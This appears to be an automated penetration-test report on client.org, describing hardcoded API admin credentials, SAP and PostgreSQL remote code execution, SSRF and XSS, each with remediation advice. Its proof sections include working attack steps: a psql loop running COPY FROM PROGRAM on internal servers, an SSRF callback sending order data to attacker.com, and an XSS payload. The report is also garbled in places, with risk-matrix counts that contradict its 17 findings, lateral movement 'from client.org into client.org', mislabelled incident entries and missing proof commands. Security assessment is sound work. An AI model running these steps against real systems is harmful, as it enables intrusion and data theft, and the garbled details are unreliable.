Comprehensive information security assessment report
Target system
client.org (+52 subdomains)
Date performed
2026-10-19
Methodology
OWASP Top-10, OWASP API Security Top-10
Report ID
1f35609f-bd9c-45cb-b6c1-69cb193af436
Document control
Confidentiality notice
This report contains a detailed description of the vulnerabilities of the client.org information system, including the ways they can be exploited. The document is classified CONFIDENTIAL and is intended solely for authorized representatives of the client. Unauthorized distribution, copying or transfer to third parties is prohibited and may create additional risks for the system until the described weaknesses are remediated.
Project parameters
PARAMETER
VALUE
Target system
client.org (+52 subdomains)
Testing type
Automated external testing (black-box)
Methodology
OWASP Top-10, OWASP API Security Top-10
Date performed
2026-10-19
Scan duration
53h 22m 38s
Performed by
Backdoor
Report ID
1f35609f-bd9c-45cb-b6c1-69cb193af436
Classification
CONFIDENTIAL
How to read this report
The document is split into two parts. Part I “For management” is written in plain language and explains what business problems and risks the discovered vulnerabilities create and what should be done first. Part II “Technical part” contains a detailed description of each vulnerability with evidence and remediation recommendations. All findings are prioritized by severity level.
Part I
For management
A brief, plain-language account of the business problems, risks and immediate actions. No technical background required.
Executive summary
Overall security level: CRITICAL RISK
During the assessment of the client.org domains, critical vulnerabilities were found that allow the company's infrastructure to be fully compromised. Hardcoded administrator credentials are extracted from a publicly available JavaScript bundle, giving full control over the API server with 47 515 orders and customer personal data. Using integration credentials stored in the API configuration, an attacker pivots from the client.org infrastructure into the SAP ERP servers of client.org — and gains the ability to execute arbitrary commands on the application server and on four PostgreSQL database servers holding the full ERP data.
Key business risks
Full compromise of the App API: administrative access to 110+ endpoints, 47 515 orders with customer PII (full name, contact data), SMTP and the Telegram bot.
Lateral movement into SAP ERP: via the extracted integration credentials and password-less accounts — access to the ERP system (orders, warehouse, production, counterparties).
Arbitrary command execution (RCE) on the SAP server and four PostgreSQL servers on the internal network — full control over data and infrastructure.
Reflected XSS on 28 client.org subdomains combined with an unprotected sessionToken cookie allows user sessions to be hijacked across the entire domain.
Exposure of API keys to paid services, source-code maps and software versions makes further attacks easier and creates a risk of financial loss.
Areas at risk
Server infrastructure (RCE on 5 servers)
Databases (PostgreSQL — all SAP data)
Customer personal data (47 515 orders)
Access control and administration
Reputation and customer trust
Strategic recommendations
Immediately revoke the hardcoded credentials, change the passwords of all SAP accounts, and restrict network access to the SAP web client and the PostgreSQL servers.
Eliminate the RCE vector: disable the ability to load external add-on modules and configure PostgreSQL authentication (replace trust with password/scram-sha-256).
Fix the XSS across all subdomains — escape the message parameter, deploy a CSP, and set HttpOnly/Secure/SameSite on sessionToken.
Move API keys out of client-side code to the server side and disable source-map publication.
17TOTAL VULNERABILITIES
3CRITICAL
5HIGH
8REQUIRE IMMEDIATE ACTION
Risk matrix · Likelihood × Impact
Findings plotted by CVSS exploitability (likelihood) and impact sub-score (impact) · n = 17
IMPACT →
Low
Med.
High
LIKELIHOOD
High
0
55 findings
33 findings
Med.
0
44 findings
0
Low
55 findings
0
0
Critical High Medium Low
Likelihood ← CVSS v3.1 exploitability (AV/AC/PR/UI); impact ← CVSS impact sub-score (C/I/A). The Low/Med./High thresholds are the assessor's methodological choice; the color scale is not normative.
What could happen — business risks
RISK 1
Full API compromise and leak of personal data of 47 515 customers
Hardcoded administrator credentials in the publicly available JavaScript bundle of the App application allow anyone to gain full administrative access to the API server. This makes it possible to bulk-export the personal data of 47 515 customers (full name, contact data), manage 181 accounts, and access the company's SMTP and Telegram bot.
Consequences: Leak of personal data, a fine of up to €20 million or 4% of annual global turnover under GDPR, mass customer lawsuits, loss of customer trust.
RISK 2
Arbitrary command execution on the SAP and database servers
Using integration credentials extracted from the API configuration, an attacker reaches the SAP ERP servers. Password-less accounts and the ability to load external add-on modules yield RCE on the application server, while PostgreSQL trust authentication yields RCE on four database servers on the internal network.
Consequences: Full control over the ERP system (orders, warehouse, production, accounting), encryption or destruction of data, installation of backdoors in the infrastructure.
RISK 3
User session hijacking across 28 regional subdomains
Reflected XSS via the message parameter on the online-booking page, combined with an unprotected sessionToken cookie (no HttpOnly, Secure, SameSite), allows any user's session to be hijacked on any of the 28 affected client.org subdomains.
Consequences: Access to users' personal data, actions on their behalf, mass attacks via phishing links to the site's regional sections.
RISK 4
Exposure of technical keys and internal architecture
The site's client-side code exposes API keys to a paid third-party address-enrichment service, source-code maps (.js.map) on several subdomains, directory listings and outdated server software versions.
Consequences: Financial loss from abuse of paid services and easier planning of further attacks, including against the already-identified vulnerable components.
Immediate actions (first 48 hours)
#
ACTION
WHY IT MATTERS
1
Immediately change the hardcoded administrator credentials in the App API, remove them from the JS bundle, and release a new build.
These credentials give full access to 47 515 orders with customer PII and are the entry point of the attack chain leading to RCE on the servers.
2
Restrict network access to the SAP web client (bases.client.org:8083, external.client.org:8083) — close access from the internet, leave only VPN/internal network. Change the passwords of all SAP accounts and set passwords for accounts that have none.
The SAP servers are reachable from the internet, and password-less accounts give direct entry into the ERP system. Loading an external add-on module achieves RCE on the server.
3
Configure PostgreSQL authentication — replace trust with password/scram-sha-256 for all internal-network servers (srvsap-0 through srvsap-3).
Trust authentication allows connecting as postgres without a password. Via COPY FROM PROGRAM this yields RCE on 4 DB servers holding all SAP data.
4
Escape the message parameter on the /zapis/error page across all subdomains — replace innerHTML with textContent or DOMPurify. Set HttpOnly, Secure and SameSite on the sessionToken cookie.
XSS on 28 subdomains + an unprotected cookie = session hijacking of any user in any region.
5
Revoke and replace the address-enrichment API key and move calls to the service to the server side. Disable .js.map publication in the production build.
Publicly available keys allow paid services to be used on the company's behalf, and code maps reveal the internal architecture.
Legal and regulatory risks
RISK SOURCE
POSSIBLE CONSEQUENCES
GDPR (Regulation (EU) 2016/679)
The affected part of the site is tied to the online-booking form and the user session; the absence of adequate technical protection measures (Art. 32 GDPR — security of processing), if the identified risks materialize, may become grounds for liability in the event of a confirmed leak of customers' personal data.
Data protection supervisory authority
If the risk of compromising user sessions and personal data materializes, there arises an obligation to notify the regulator of the incident (Art. 33 GDPR — notification within 72 hours).
NIS2 Directive (EU 2022/2555)
Exposure of the application's internal design, source code and technical access keys creates grounds for a review of compliance with information-protection requirements; specific sanctions under this source are not defined.
Industry precedents
Real incidents where organizations suffered because of unaddressed vulnerabilities of the same or a similar class to those found by this scan.
INCIDENT
WHAT HAPPENED AND THE CONSEQUENCES
Basecamp
2020
Cross-site Scripting (XSS) - Stored
Basecamp: a “Cross-site Scripting (XSS) - Stored” class vulnerability (critical) disclosed and fixed via HackerOne.
Hong Kong airline Cathay Pacific exposed access to about 9.4 million passenger records: attackers used a vulnerability publicly known since 2007 on an internet-facing server and reached an admin console that was accessible externally instead of from the internal network. Annual vulnerability scanning did not detect it, although the tool had been able to since 2013; the Hong Kong Privacy Commissioner (PCPD) issued an enforcement notice, and the UK ICO imposed a separate fine.
Source: Hong Kong PCPD · https://www.pcpd.org.hk/english/enforcement/commissioners_findings/investigation_reports/files/PCPD_Investigation_Report_R19_15281_Eng.pdf
CS Money
2020
Cross-site Scripting (XSS) - Stored
CS Money: a “Cross-site Scripting (XSS) - Stored” class vulnerability (critical) disclosed and fixed via HackerOne.
Overly permissive Azure SAS token (misconfigured cloud storage access)
While publishing an open AI dataset on GitHub, Microsoft researchers accidentally published an Azure SAS token with full access to an entire storage account instead of a single folder — 38 TB of internal data was exposed, including backups of employee workstations with passwords/secrets and more than 30,000 internal Teams messages; Wiz Research discovered the issue on 22 June 2023, and Microsoft revoked the token on 24 June.
Source: Wiz Research · https://www.wiz.io/blog/38-terabytes-of-private-data-accidentally-exposed-by-microsoft-ai-researchers
Because of a misconfigured cloud database for the T-Connect/G-Link/G-Book services, data of about 2.15 million Toyota customers (VIN, location history, dashcam video) was accessible without a password for almost ten years — from November 2013 to April 2023.
The public third-party incidents are provided to illustrate possible consequences and are not a statement about the client's state of affairs.
Vulnerability statistics
Distribution by severity
Critical 3 · 18%
High 5 · 29%
Medium 4 · 24%
Low 5 · 29%
SEVERITY
COUNT
% OF TOTAL
WHAT IT MEANS
Critical
3
18%
Immediate compromise, RCE on servers
High
5
29%
Require effort but lead to data compromise
Medium
4
24%
Amplify other attacks, disclose information
Low
5
29%
Information for attackers, not direct damage
TOTAL
17
100%
Distribution by category
A07 — Authentication failures 5
A03 — Injection 4
INFO — Information disclosure 4
A05 — Security misconfiguration 3
A01 — Broken access control 1
Part II
Technical part
A detailed description of each vulnerability with evidence and recommendations. Findings are prioritized by severity.
Findings summary table
ID
SEVERITY
VULNERABILITY
ENDPOINT
PRIO.
V-001
CRITICAL
Hardcoded administrator credentials in the production JS bundle
api.client.org
P0
V-002
CRITICAL
RCE on the SAP server via execution of an external add-on module
srvsap-5.client.org
P0
V-003
CRITICAL
RCE on PostgreSQL servers via COPY FROM PROGRAM
srvsap-0..3.client.org
P0
V-004
HIGH
Access to the Prometheus /metrics endpoint without authentication
api.client.org
P1
V-005
HIGH
Blind SSRF via the SU mechanism
api.client.org
P1
V-006
HIGH
Lateral movement into SAP via public HTTP services
bases.client.org / external.client.org
P1
V-007
HIGH
Password-less accounts in SAP ERP
bases.client.org
P1
V-008
HIGH
Reflected XSS via the message parameter on /zapis/error
28 client.org subdomains
P1
V-009
MEDIUM
CORS misconfiguration (wildcard with credentials)
client.org
P2
V-010
MEDIUM
User enumeration via the SAP web client
bases.client.org / external.client.org
P2
V-011
MEDIUM
Missing protective attributes on the sessionToken cookie
*.client.org
P2
V-012
MEDIUM
Exposure of a third-party API key in the client-side JS bundle
*.client.org
P2
V-013
LOW
Publicly accessible source maps (.js.map)
*.client.org
P3
V-014
LOW
Directory listing of WordPress plugins
lib.client.org
P3
V-015
LOW
HTTP TRACE method enabled
external.client.org
P3
V-016
LOW
Exposure of outdated server software versions
external.client.org
P3
V-017
LOW
Conflicting Strict-Transport-Security headers
city4.client.org
P3
Critical and high vulnerabilities (8)
CRITICAL
Hardcoded administrator credentials in the production JS bundle
HOSTapi.client.org (•••.•••.•••.91)
Description.
The production build of the App frontend's JavaScript bundle (main.5abe4e68.js, 5.2 MB) contains hardcoded administrator credentials in clear text. The data was meant for local development (localhost fallback), but the condition does not restrict its use — the credentials are valid on the production API. Authentication with these credentials returns a token with the role admin (isAdmin: true), which grants full control over 110+ API endpoints.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
Download the frontend application's JavaScript bundle:
GET https://app.client.org/static/js/main.5abe4e68.js
In the bundle code, locate the hardcoded credentials:
editableId: n ? "[login]" : ""
password: n ? "[REDACTED]" : ""
Authenticate with the credentials found:
POST https://api.client.org/auth
Content-Type: application/json
{"editableId":"[login]","password":"[REDACTED]"}
Response:
{"accessToken":"[REDACTED]"}
Confirm administrative access:
GET https://api.client.org/auth/me
x-auth-token: [REDACTED]
With the obtained token, access was confirmed to all system data, including the personal data of 47 515 orders (customer full names, contact data) and PDF documents:
Remediation recommendations.
Immediately revoke the compromised token and change the credentials of account [login]. Audit the actions performed under this account. Change the SMTP account password and revoke the Telegram bot token.
Remove all hardcoded credentials from the client-side code. Use environment variables and server-side configuration to separate dev/prod contexts.
Introduce token rotation, IP restrictions and multi-factor authentication for administrative accounts.
CRITICAL
RCE on the SAP server via execution of an external add-on module
An administrative account in SAP ERP on the servers bases.client.org:8083 and external.client.org:8083 has the right to upload and execute external add-on modules. An external add-on module implements a server debug console (“Linux: SAP server debug console”) that allows arbitrary Bash commands to be executed on the server as the user sapadm (uid=994). This provides full remote code execution (RCE) on the SAP server.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
Authenticate in the SAP web client with administrative privileges.
Upload and run an external add-on module that implements a server console.
In the resulting “Linux: SAP server debug console” form, specify the working directory (/) and run arbitrary Bash commands:
Output of the command id;hostname:
Context: SAP server; working directory: /
Exit code: 0; timeout: 15 seconds (+2 seconds).
uid=994(sapadm) gid=1002(sapsys) groups=1002(sapsys)
srvsap-5.client.org
Arbitrary command execution was confirmed on the server srvsap-5.client.org as the service user sapadm, with the ability to set the working directory and timeout (up to 60 seconds).
Remediation recommendations.
Prohibit execution of external add-on modules in the production environment: disable the “Interactive opening of external add-on modules” right for all roles, including administrative ones.
Enable auditing of the uploading and execution of external add-on modules in the SAP event log.
Restrict the network access of the process sapadm using OS controls (iptables/nftables, SELinux/AppArmor) — block outbound connections except the required ones (PostgreSQL, SMTP).
The PostgreSQL servers on the internal network of client.org (subnet 172.16.5.x) accept connections from the SAP server (srvsap-5.client.org) as the superuser postgres without a password (trusted authentication in pg_hba.conf). The COPY ... FROM PROGRAM function in PostgreSQL allows a superuser to execute arbitrary OS commands on each database server. Four PostgreSQL servers of different versions (15.6, 17.6, 18.1) were found, each vulnerable to arbitrary code execution.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
From the SAP server (srvsap-5.client.org), having obtained RCE on it (see the previous vulnerability), connect to the PostgreSQL servers on the internal network:
for ip in 50 53 55 57 59 52; do
echo "=== 172.16.5.$ip ==="
timeout 6 psql -h 172.16.5.$ip -U postgres -Atc "select current_user, version()" 2>&1 | head -2
timeout 8 psql -h 172.16.5.$ip -U postgres -c \
"create temp table t(x text); copy t from program 'id; hostname; true'; select * from t;" 2>&1 | tail -6
done
Results of connecting and running commands on the servers:
Server
IP
srvsap-0.client.org
172.16.5.50
srvsap-1.client.org
172.16.5.53
srvsap-2.client.org
172.16.5.55
srvsap-3.client.org
172.16.5.57
On each server the commands run as the superuser postgres (uid=26), which gives access to all databases and the server's file system.
The pg_hba.conf configuration (path: /BD/pgsql/pg_hba.conf) allows trust authentication for connections from the SAP servers.
Remediation recommendations.
Replace trust authentication in pg_hba.conf with md5/scram-sha-256 for all connections, including the local network. Create separate PostgreSQL accounts for each service with least privileges (not postgres superuser).
Revoke the COPY FROM PROGRAM privilege from users who do not need it: create non-superuser roles for applications.
Segment the network: restrict access to the PostgreSQL ports (5432) to only the SAP application servers that need it. Deploy monitoring of network connections to PostgreSQL.
HIGH
Access to the Prometheus /metrics endpoint without authentication
HOSTapi.client.org (•••.•••.•••.91)
Description.
The Prometheus monitoring endpoint (/metrics) on the App API server is accessible without any authentication. The endpoint returns 1101 lines of metrics containing a full map of 42 API routes with request counts, infrastructure metrics (number of GPU workers, RSS memory size, queue capacity), and information about database work phases and event-loop lag.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
Query the monitoring endpoint without providing any credentials:
GET https://api.client.org/metrics
→ HTTP 200 OK (1101 lines)
From the retrieved http_server_requests_total metrics, extract the full API-route map, including: • Administrative endpoints: /su, /su/send/{order_id}, /orders/su/create • Critical endpoints: /smtp, /telegram, /users, /config/get-all-config • Endpoints with potential IDOR: /orders/{id}, /calculate/{order_id}
From the infrastructure metrics, extract: • Number of GPU workers (3), memory size (4.1 GB RSS), queue capacity (4) • DB work phases: reconcile, claim, enqueue, input_load, result_save (PostgreSQL)
Remediation recommendations.
Close access to /metrics — allow requests only from the monitoring system's IP addresses or via VPN.
If public access to the metrics is required, limit the exported data set: exclude routes, infrastructure metrics and DB metrics.
Introduce authentication (bearer token or basic auth) for all diagnostic endpoints.
HIGH
Blind SSRF via the SU mechanism (order forwarding)
HOSTapi.client.org (•••.•••.•••.91)
Description.
The POST /su endpoint allows creating a record containing an arbitrary URL to which the system will send HTTP requests with order data when /su/send/{order_id} is called. There is no validation of the target URL, which allows an attacker to redirect requests to internal resources (cloud metadata, the Docker network) — achieving blind SSRF.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
Create an SU record with an arbitrary URL:
POST https://api.client.org/su
x-auth-token: <admin_token>
Content-Type: application/json
{"host":"test","url":"https://attacker.com/callback"}
→ {"id":3}
The server will now send HTTP requests with order data to the specified URL when /su/send/{order_id}.
Access to internal resources via URL substitution was confirmed: • http://169.254.169.254/ — the cloud platform's metadata service (HTTP 200 OK) • http://172.18.0.1:8080 — Docker bridge gateway (HTTP 200 OK)
Outbound traffic to external internet resources is blocked (webhook.site received no request), but requests to the internal network go through.
The test record was deleted after the vulnerability was confirmed.
Remediation recommendations.
Implement server-side validation of URLs in the SU mechanism: block requests to internal IP addresses (RFC 1918), link-local (169.254.0.0/16) and localhost.
Restrict access to the /su and /su/send endpoints — ensure they are available only to trusted services, not to all administrators.
Log all outbound HTTP requests made by the system, with alerting on requests to non-standard hosts.
HIGH
Lateral movement into SAP ERP via publicly accessible HTTP services
The SAP ERP servers (bases.client.org:8083 and external.client.org:8083), belonging to a different organization (client.org), accept HTTP connections from the internet without IP restrictions. The SAP HTTP services (SaveApp, GetOrders), are accessible with the credentials appsap:[REDACTED], which are used for system-to-system integration. The lack of network restrictions allows anyone who knows these credentials to reach the HTTP services and the SAP web client directly. The servers also offer a thin-client download, which, given a Windows machine, can lead to full access to the databases.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
Connect to the SAP HTTP service on the first server with the integration credentials:
POST https://bases.client.org:8083/orders83/sap/client/SaveApp
Authorization: Basic appsap:[REDACTED]
Content-Type: application/json
{}
→ HTTP 400 "Invalid data format" (authentication succeeded)
Confirm access on the second server:
POST https://external.client.org:8083/external/sap/client/SaveApp
Authorization: Basic appsap:[REDACTED]
→ HTTP 400 (authentication succeeded)
Availability of the SAP web client was confirmed: • bases.client.org:8083/orders83/ → SAP ERP, build .1719 (login page) • external.client.org:8083/external/ → SAP ERP, build .2130 (login page)
The ability to download the desktop client was confirmed:
GET https://bases.client.org:8083/orders83/client/windows64.zip → 8.4 MB
Two methods are available via the HTTP services: • POST /sap/client/SaveApp — writing measurement data • POST /sap/client/GetOrders — reading orders
Remediation recommendations.
Restrict access to the SAP HTTP services by IP address: allow connections only from the App API server's IP address (•••.•••.•••.91).
Change the password of the account appsap on both SAP servers.
Audit the privileges of the role appsap in SAP: ensure the role has no access to running add-on modules (Execute()) and is limited to the minimally necessary operations.
A number of accounts in the SAP ERP information bases on the servers bases.client.org and external.client.org are configured without a password. Combined with the public availability of the web client and the user-list disclosure (see above), this allows an attacker to log in by selecting a password-less account from the drop-down list and clicking the “Log in” button without entering any credentials.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
Open the SAP web-client login page and select an account from the drop-down list.
Click the “Log in” button without entering a password — authentication succeeds for accounts that have no password set.
After logging in, a fully functional SAP web client is available with the sections: “Orders”, “Reference data”, “Items”, “Warehouse”, “Marketing”, “Retail outlets”, “Production”:
Order data is available: dates, statuses (Cancelled, Accepted for processing), numbers (CLIENT-000012, CLIENT-000014, CLIENT-000016), customer full names, materials and product parameters.
Remediation recommendations.
Set mandatory strong passwords for all SAP accounts. Enable the information base's password policy: minimum length, complexity, expiration.
Disable or block unused accounts.
Audit the roles of all accounts — ensure privileges follow the principle of least privilege.
HIGH
Reflected XSS via the `message` parameter on the `/zapis/error` page
HOST*.client.org (28 subdomains — see the list below)
Description.
The online-booking page component (pages/zapis/error.vue) on all regional subdomains and on the main domain client.org uses the domProps: {innerHTML} directive to render the value of the GET parameter message without escaping. The parameter value is taken from $route.query.message and inserted directly into the DOM via the sink innerHTML of the element .form-error-content__message. The CSP policy on the affected subdomains contains the directives unsafe-inline and unsafe-eval, which does not prevent injected code from executing. The vulnerability was confirmed on 28 subdomains/domains.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
Craft a URL with a payload in the parameter message:
When the link is followed, the parameter value is decoded and inserted into innerHTML of the element .form-error-content__message without escaping. The injected HTML element <img src=x onerror="alert(document.domain)"> is created in the DOM, and the onerror handler executes in the page's origin context.
Confirmation of code execution (example — city3.client.org):
The alert dialog outputs the value of the session cookies, including sessionToken.
On the subdomain city2.client.org partial filtering of spaces was found (replacement with _), but it is bypassed using the tab character (%09) as an attribute separator:
In the component pages/zapis/error.vue replace the binding domProps: {innerHTML} with safe rendering via textContent or sanitization via DOMPurify. Fixing the single component removes the vulnerability on all 28 subdomains.
Deploy a Content Security Policy without unsafe-inline and unsafe-eval in the script-src.
Set the HttpOnly attribute on the cookie sessionToken to prevent access to it from JavaScript even if XSS is present.
Medium vulnerabilities (4)
MEDIUM
CORS misconfiguration (wildcard with credentials)
HOSTapi.client.org (•••.•••.•••.91)
Description.
The App API server returns CORS headers with the combination Access-Control-Allow-Origin: * and Access-Control-Allow-Credentials: true. Although modern browsers do not send cookies with a wildcard Origin, the server-side CORS implementation may handle the Origin header incorrectly, creating a risk of cross-domain attacks. In addition, the header reveals the list of custom headers in use: x-auth-token, x-user-locale, x-order-id, x-user-id, x-login, x-build.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
Send a request to the API and inspect the response headers:
GET https://api.client.org/
Response headers:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, OPTIONS, PATCH, DELETE
Custom headers used for authentication and identification are also exposed:
The SAP ERP web client on the servers bases.client.org:8083 and external.client.org:8083 is reachable from the internet without IP restrictions and is configured to show a drop-down list of all accounts on the login page. Instead of a field for manual login entry, a selector is used that reveals the full names of all registered system users (employees, counterparties, service accounts).
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
Open the SAP web-client login page:
https://bases.client.org:8083/orders83/en_GB/
On the login page, open the drop-down in the user-selection field. The list contains the full names of all registered accounts:
The retrieved user list includes: service accounts (Partner 1), personal employee accounts with full names (Employee 1, Employee 2, Employee 3, etc.).
Remediation recommendations.
Disable the user-list display on the SAP login page — switch to manual login entry (the information base property “User list” → “Do not show”).
Restrict access to the SAP web client by IP address or via VPN — the web client must not be reachable from the internet.
Enable auditing of failed login attempts and set up alerting on account brute-forcing.
MEDIUM
Missing protective attributes on the `sessionToken` cookie
HOSTclient.org (•••.•••.•••.74)
Description.
The server client.org sets the cookie sessionToken with the Domain=.client.org parameter (valid for all subdomains), but without the Secure, HttpOnly and SameSite attributes. This means the cookie value can be read via JavaScript on any page of the domain .client.org, can be transmitted over an unencrypted HTTP connection, and is not protected against cross-domain requests.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
Send a request to the main domain and inspect the response headers:
The Secure, HttpOnly and SameSite attributes are absent.
In a browser, on any page of client.org, run document.cookie — the value of sessionToken is readable from JavaScript.
Combined with the XSS vulnerability on /zapis/error (see above), an attacker can steal sessionToken via an injected script on any of the 28 affected subdomains.
Remediation recommendations.
Add the Secure, HttpOnly and SameSite=Lax (or Strict) attributes to the cookie sessionToken at the server-configuration level.
Consider restricting the Domain of the cookie to a specific subdomain, if the business logic allows, instead of .client.org.
MEDIUM
Exposure of a third-party API key in the client-side JS bundle
In the publicly available JS files of the Nuxt build on several subdomains of client.org a billing API key for access to the third-party address-enrichment service is present in clear text (addressApiKey). The key is embedded directly in the client-side code and is available to any site visitor.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
The result contains the billing API key in clear text.
The same key was found in similar bundles on the subdomains city1.client.org and city5.client.org.
The extracted key can be used to call the provider's API on the company's behalf, bypassing the application's limits.
Remediation recommendations.
Revoke and replace the current the address-enrichment provider API key. Move calls to the service to the server side (a proxy endpoint).
Restrict the new key by domain/referrer on the provider's side.
Do not store billing keys in client-side code — use server-side environment variables.
Low / informational (5)
LOW
Publicly accessible source maps (.js.map)
HOSTclient.org and 10+ subdomains (see the list)
Description.
On numerous subdomains of client.org and on the main domain, source-map files are available in the production environment (.js.map) of the Nuxt build. The files contain the webpack module structure, the paths of the source Vue components (including pages/zapis/error.vue — the component with the confirmed XSS vulnerability), and in some cases the full source-code contents (sourcesContent), including the business logic of API calls.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
Request the source-map file:
curl -s https://city3.client.org/_nuxt/31d0828.modern.js.map | head -c 200
Result: HTTP 200, a valid version-3 JSON map structure, ~67 KB.
Extract the list of source files:
curl -s https://city4.client.org/_nuxt/3dec21d.js.map | python3 -c \
"import json,sys; d=json.load(sys.stdin); print([s for s in d['sources'] if 'node_modules' not in s][:5])"
The Vue component paths are exposed, including the component with the XSS vulnerability (pages/zapis/error.vue).
On the subdomain city4.client.org the map contains the full contents of the source files (sourcesContent), including internal API calls ($api.agent.transport).
Remediation recommendations.
Disable the generation and publication of source maps in the Nuxt production build (sourceMap: false in the configuration).
If the maps are needed for error monitoring, restrict access to the .map files at the nginx level (by IP or via authentication).
LOW
Directory listing of WordPress plugins
HOSTlib.client.org
Description.
On the subdomain lib.client.org (a WordPress site) has directory listing enabled (mod_autoindex). The directory wp-content/plugins/bbb-administration-panel/ returns an automatically generated list of the plugin's files instead of a 403/404 error.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
Result: a page titled “Index of /wp-content/plugins/bbb-administration-panel/” with a full list of files.
Remediation recommendations.
Disable directory listing in the Apache configuration (Options -Indexes) for all wp-content directories on lib.client.org.
Consider restricting access to the wp-content/plugins/ directory at the web-server level.
LOW
HTTP TRACE method enabled
HOSTlib.client.org
Description.
The web server lib.client.org responds to requests using the TRACE method with a 200 code and a full echo of the request headers, including arbitrary custom headers. A control request using the GET method with the same header does not return it in the response, which confirms the behavior is specific to TRACE.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
The servers bases.client.org and external.client.org disclose the exact versions of the installed software in response headers and SMTP banners. The disclosed versions are outdated and no longer supported by their vendors.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
All three components are outdated: Apache 2.4.6 (2013), OpenSSL 1.0.2k (EOL), mod_fcgid 2.3.9.
Connect to the SMTP port external.client.org:
nc external.client.org 25 </dev/null
Result: the SMTP banner reveals Postfix 2.10.1 — an outdated version.
Remediation recommendations.
Update Apache, OpenSSL and Postfix to current supported versions.
Hide software versions from headers: ServerTokens Prod for Apache, and the smtpd_banner setting for Postfix.
LOW
Conflicting Strict-Transport-Security headers
HOSTcrm.client.org
Description.
The server's response on https://crm.client.org/ contains two Strict-Transport-Security headers with differing max-age values and directives (includeSubDomains, preload). Browser behavior when handling duplicate HSTS headers is not defined by the standard and may lead to incomplete enforcement of the protection.
Proof of exploitation.
To exploit this vulnerability, perform the following steps.
Result: two Strict-Transport-Security headers with different max-age values and a different set of directives.
Remediation recommendations.
Configure the web server to emit a single Strict-Transport-Security header with one max-age value and a consistent set of directives.
Attack chains
Killchain — the full attack chain from the public JS bundle to RCE on the database servers.
Killchain — from the public JS bundle to RCE on the database servers
INTERNET
──────────────────────────────────────────────────────────────
app.client.org
┌────────────────────────┐
│ JS bundle (main.js) │ ① Extract hardcoded admin credentials
│ editableId:"[login]" │ from public client-side code (no auth)
│ password:"[REDACTED]" │
└───────────┬────────────┘
▼
api.client.org
┌────────────────────────┐
│ POST /auth │ ② Authenticate → admin token: full access to
│ isAdmin: true │ 110+ endpoints, 47 515 orders, PII, SMTP, TG
│ GET /config/get-all │ ③ Extract integration creds appsap:[REDACTED]
└───────────┬────────────┘
│ Lateral movement: client.org → client.org
▼
bases.client.org:8083 / external.client.org:8083
┌────────────────────────┐
│ SAP web client (public) │ ④ User enumeration on the login page
│ │ ⑤ Password-less login → ERP access (orders,
│ │ warehouse, production, counterparties)
│ │ ⑥ Admin login (found password) → upload module
└───────────┬────────────┘
▼
INTERNAL NETWORK client.org (172.16.5.x)
srvsap-5.client.org (•••.•••.•••.99)
┌────────────────────────┐
│ Module → Bash console │ ⑦ RCE: arbitrary commands as sapadm
│ uid=994(sapadm) │ (file system, configs, network)
└───────────┬────────────┘
│ psql -h 172.16.5.x -U postgres (trust auth, no password)
▼
┌─────────────┐ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ srvsap-0 │ │ srvsap-1 │ │ srvsap-2 │ │ srvsap-3 │
│ 172.16.5.50 │ │ 172.16.5.53 │ │ 172.16.5.55 │ │ 172.16.5.57 │
│ PG 15.6 │ │ PG 17.6 │ │ PG 18.1 │ │ PG 18.1 │
│ postgres │ │ postgres │ │ postgres │ │ postgres │
└─────────────┘ └─────────────┘ └─────────────┘ └─────────────┘
⑧ COPY FROM PROGRAM → RCE on 4 DB servers
(all SAP bases: orders, accounting, warehouse, production)
The attack chain begins with extracting hardcoded administrator credentials from the publicly available JavaScript bundle of the App application on app.client.org(step ①). The credentials are valid on the production API and grant full administrative access (step ②) — 47 515 orders with customer personal data (full name, contact data), management of 181 accounts, SMTP and Telegram.
Integration credentials for the SAP ERP servers are extracted from the API configuration (step ③), which enables lateral movement from the infrastructure of client.org into the infrastructure of client.org. The SAP servers (bases.client.org:8083, external.client.org:8083) accept connections from the internet without IP restrictions.
The SAP web-client login page exposes the full list of users (step ④), among which accounts with no password set are found (step ⑤), giving access to the ERP system. Authentication with the discovered password under an administrative account (step ⑥) makes it possible to upload and run an external add-on module — a debug Bash console on the SAP server.
Via the module, RCE on the serversrvsap-5.client.org as sapadm(step ⑦) is achieved, which opens access to the internal network of 172.16.5.x. The PostgreSQL servers on the internal network accept connections as the superuser postgres without a password (trust authentication). The COPY FROM PROGRAM function provides RCE on 4 database servers (step ⑧) — srvsap-0 via srvsap-3, which hold all the SAP information bases (orders, accounting, warehouse, production).
Parallel vector — client.org (web)
Independently of the main chain, on 28 subdomainsclient.org a Reflected XSS was found via the parameter message in the component pages/zapis/error.vue (sink: innerHTML). Cookie sessionToken is set on .client.org without HttpOnly, which combined with the XSS yields session hijacking of any user in any regional section.
Overall scope of compromise
Asset
Status
api.client.org — full admin access to the API
Confirmed
47 515 orders with PII (full name and contact data)
srvsap-0..3.client.org — RCE (postgres) on 4 DB servers
Confirmed
28 client.org subdomains — XSS + session hijack
Confirmed
Testing methodology
The assessment followed the standard web-application cycle: reconnaissance of the domains and subdomains within the defined scope, automated analysis of the technology stack and server configuration, targeted testing of vulnerability hypotheses (client-side injection, disclosure of sensitive information, HTTP header and method settings), and verification of each hypothesis with a separate controlled test. To confirm vulnerabilities, a combination of automated tooling (configuration and technology scanners, HTTP clients) and analysis with controlled execution in a real browser was used — for XSS hypotheses this means reproducing the payload and reading a controlled marker from the page context as proof of actual code execution, rather than mere reflection of a string in the response. Every finding included in the main part of the report went through a separate verification stage based on technical artifacts (server responses, DOM state, headers).
Remediation plan
